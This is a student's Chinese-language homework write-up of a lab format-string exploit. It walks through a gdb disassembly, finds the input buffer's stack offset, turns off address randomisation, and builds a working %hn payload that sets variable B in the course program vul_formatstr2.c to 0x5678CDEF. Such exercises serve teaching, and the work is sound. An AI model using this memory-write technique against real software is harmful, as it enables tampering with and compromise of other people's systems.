网络安全作业8

题目:在32位的ubuntu16.04运行环境下,对格式化漏洞程序vul_formatstr2.c,参照 12.2.4的方法,说明如何修改程序,将变量B的值改成0x5678CDEF。

在Ubuntu 64位系统上,使用以下命令来安装gcc多架构编译器和32位库:

sudo apt-get install gcc-multilib libc6-dev-i386

在编译C程序时,使用-m32选项来生成32位的可执行文件。例如: gcc -m32 -o v2 vul_formatstr2.c

azureuser@MyServer:~/hw$ gdb v2

 1   0x0000122d <+0>:     endbr32 
 2   0x00001231 <+4>:     push   %ebp
 3   0x00001232 <+5>:     mov    %esp,%ebp
 4   0x00001234 <+7>:     push   %ebx
 5   0x00001235 <+8>:     sub    $0x414,%esp
 6   0x0000123b <+14>:    call   0x1130 <__x86.get_pc_thunk.bx>
 7   0x00001240 <+19>:    add    $0x2d8c,%ebx
 8   0x00001246 <+25>:    mov    %gs:0x14,%eax
 9   0x0000124c <+31>:    mov    %eax,-0xc(%ebp)
10   0x0000124f <+34>:    xor    %eax,%eax
11   0x00001251 <+36>:    movl   $0x3435,-0x418(%ebp)
12   0x0000125b <+46>:    movl   $0x5657,-0x414(%ebp)
13   0x00001265 <+56>:    movl   $0x7879,-0x410(%ebp)
14   0x0000126f <+66>:    lea    -0x410(%ebp),%eax
15   0x00001275 <+72>:    push   %eax
16   0x00001276 <+73>:    lea    -0x414(%ebp),%eax
17   0x0000127c <+79>:    push   %eax
18   0x0000127d <+80>:    lea    -0x418(%ebp),%eax
19   0x00001283 <+86>:    push   %eax
20   0x00001284 <+87>:    lea    -0x1fc4(%ebx),%eax
21   0x0000128a <+93>:    push   %eax
22   0x0000128b <+94>:    call   0x10a0 <printf@plt>
23   0x00001290 <+99>:    add    $0x10,%esp
24   0x00001293 <+102>:   mov    -0x410(%ebp),%ecx
25   0x00001299 <+108>:   mov    -0x414(%ebp),%edx
26   0x0000129f <+114>:   mov    -0x418(%ebp),%eax
27   0x000012a5 <+120>:   push   %ecx
28   0x000012a6 <+121>:   push   %edx
29   0x000012a7 <+122>:   push   %eax
30   0x000012a8 <+123>:   lea    -0x1fab(%ebx),%eax
31   0x000012ae <+129>:   push   %eax
32   0x000012af <+130>:   call   0x10a0 <printf@plt>
33   0x000012b4 <+135>:   add    $0x10,%esp
34   0x000012b7 <+138>:   sub    $0xc,%esp
35   0x000012ba <+141>:   lea    -0x1f94(%ebx),%eax
36   0x000012c0 <+147>:   push   %eax
37   0x000012c1 <+148>:   call   0x10c0 <puts@plt>
38   0x000012c6 <+153>:   add    $0x10,%esp
39   0x000012c9 <+156>:   sub    $0x8,%esp
40   0x000012cc <+159>:   lea    -0x40c(%ebp),%eax
41   0x000012d2 <+165>:   push   %eax
42   0x000012d3 <+166>:   lea    -0x1f7d(%ebx),%eax
43   0x000012d9 <+172>:   push   %eax
44   0x000012da <+173>:   call   0x10e0 <__isoc99_scanf@plt>
45   0x000012df <+178>:   add    $0x10,%esp
46   0x000012e2 <+181>:   sub    $0xc,%esp
47   0x000012e5 <+184>:   lea    -0x40c(%ebp),%eax
48   0x000012eb <+190>:   push   %eax
49   0x000012ec <+191>:   call   0x10a0 <printf@plt>
50   0x000012f1 <+196>:   add    $0x10,%esp
51   0x000012f4 <+199>:   sub    $0xc,%esp
52   0x000012f7 <+202>:   lea    -0x1f7a(%ebx),%eax
53   0x000012fd <+208>:   push   %eax
54   0x000012fe <+209>:   call   0x10c0 <puts@plt>
55   0x00001303 <+214>:   add    $0x10,%esp
56   0x00001306 <+217>:   mov    -0x410(%ebp),%ecx
57   0x0000130c <+223>:   mov    -0x414(%ebp),%edx
58   0x00001312 <+229>:   mov    -0x418(%ebp),%eax
59   0x00001318 <+235>:   push   %ecx
60   0x00001319 <+236>:   push   %edx
61   0x0000131a <+237>:   push   %eax
62   0x0000131b <+238>:   lea    -0x1f78(%ebx),%eax
63   0x00001321 <+244>:   push   %eax
64   0x00001322 <+245>:   call   0x10a0 <printf@plt>
65   0x00001327 <+250>:   add    $0x10,%esp
66   0x0000132a <+253>:   nop
67   0x0000132b <+254>:   mov    -0xc(%ebp),%eax
68   0x0000132e <+257>:   xor    %gs:0x14,%eax
69   0x00001335 <+264>:   je     0x133c <formatstr_vul+271>
70   0x00001337 <+266>:   call   0x13f0 <__stack_chk_fail_local>
71   0x0000133c <+271>:   mov    -0x4(%ebp),%ebx
72   0x0000133f <+274>:   leave  
73   0x00001340 <+275>:   ret    

End of assembler dump. (gdb) b *(formatstr_vul+191) Breakpoint 1 at 0x12ec (gdb) r Starting program: /home/azureuser/hw/v2 &A=0xffffcde0 &B=0xffffcde4 C=0xffffcde8. A=0x3435 B=0x5657 C=0x7879. Please enter a string: ABCD%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

Breakpoint 1, 0x565562ec in formatstr_vul () (gdb) x/x $esp 0xffffcdd0: 0xffffcdec (gdb) p (0xbfffcdec-0xbfffcdd0)/4 $1 = 7

因此,user_input的首地址为0xffffcdec,位于栈顶开始的第7个(4字 节)单元。

关闭地址随机化机制: sudo sysctl -w kernel.randomize_va_space=0

根据上面可知 &B=0xffffcde4=4294954468

 1azureuser@MyServer:~/hw$ ./read2file
 2Please enter an address.
 34294954468
 4Please enter the format string:
 5%08x.%08x.%08x.%08x.%08x.%08x.%08x.
 6The string length is 39
 7azureuser@MyServer:~/hw$ ./v2 < mystring
 8&A=0xffffce30   &B=0xffffce34   C=0xffffce38.
 9A=0x3435        B=0x5657        C=0x7879.
10Please enter a string:
11����ffffce3c.00005657.00007879.00003435.00005657.00007879.ffffcde4.
12New values      A=0x3435        B=0x5657        C=0x7879.

变量B的地址送入堆栈,&B=0xffffce34 =4294954548

编译 read2file2.c azureuser@MyServer:~/hw$ gcc -m32 -o read2file2 read2file2.c

0xCDEF - 5*9 - 12 = 52662 0x5678 - 0xCDEF = -30583

当尝试计算0x5678 - 0xCDEF时得到了负数,这是因为0x5678小于0xCDEF。为了解决这个问题,可以利用无符号整数的环绕性质。

将负数-30583视为一个大的正数。具体来说,将-30583添加到2^16(即65536,因为%hn写入的是16位值)来得到一个正数:

65536−30583=34953

使用34953作为%hn的值来代替-30583

得到字符串: %08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.

命令行输入到文件mystring中

1azureuser@MyServer:~/hw$ ./read2file2
2Please enter an address.
34294954548
4Please enter the format string:
5%08x.%08x.%08x.%08x.%08x.%.52662u%hn%.34953u%hn.%08x.%08x.
6The string length is 70

将文件mystring作为输入重定向到漏洞程序,并将输出定向到 文件result.txt中:

1azureuser@MyServer:~/hw$ ./v2 < mystring > result.txt
2azureuser@MyServer:~/hw$ tail -n 1 result.txt
3New values      A=0x3435        B=0x5678cdef    C=0x7879.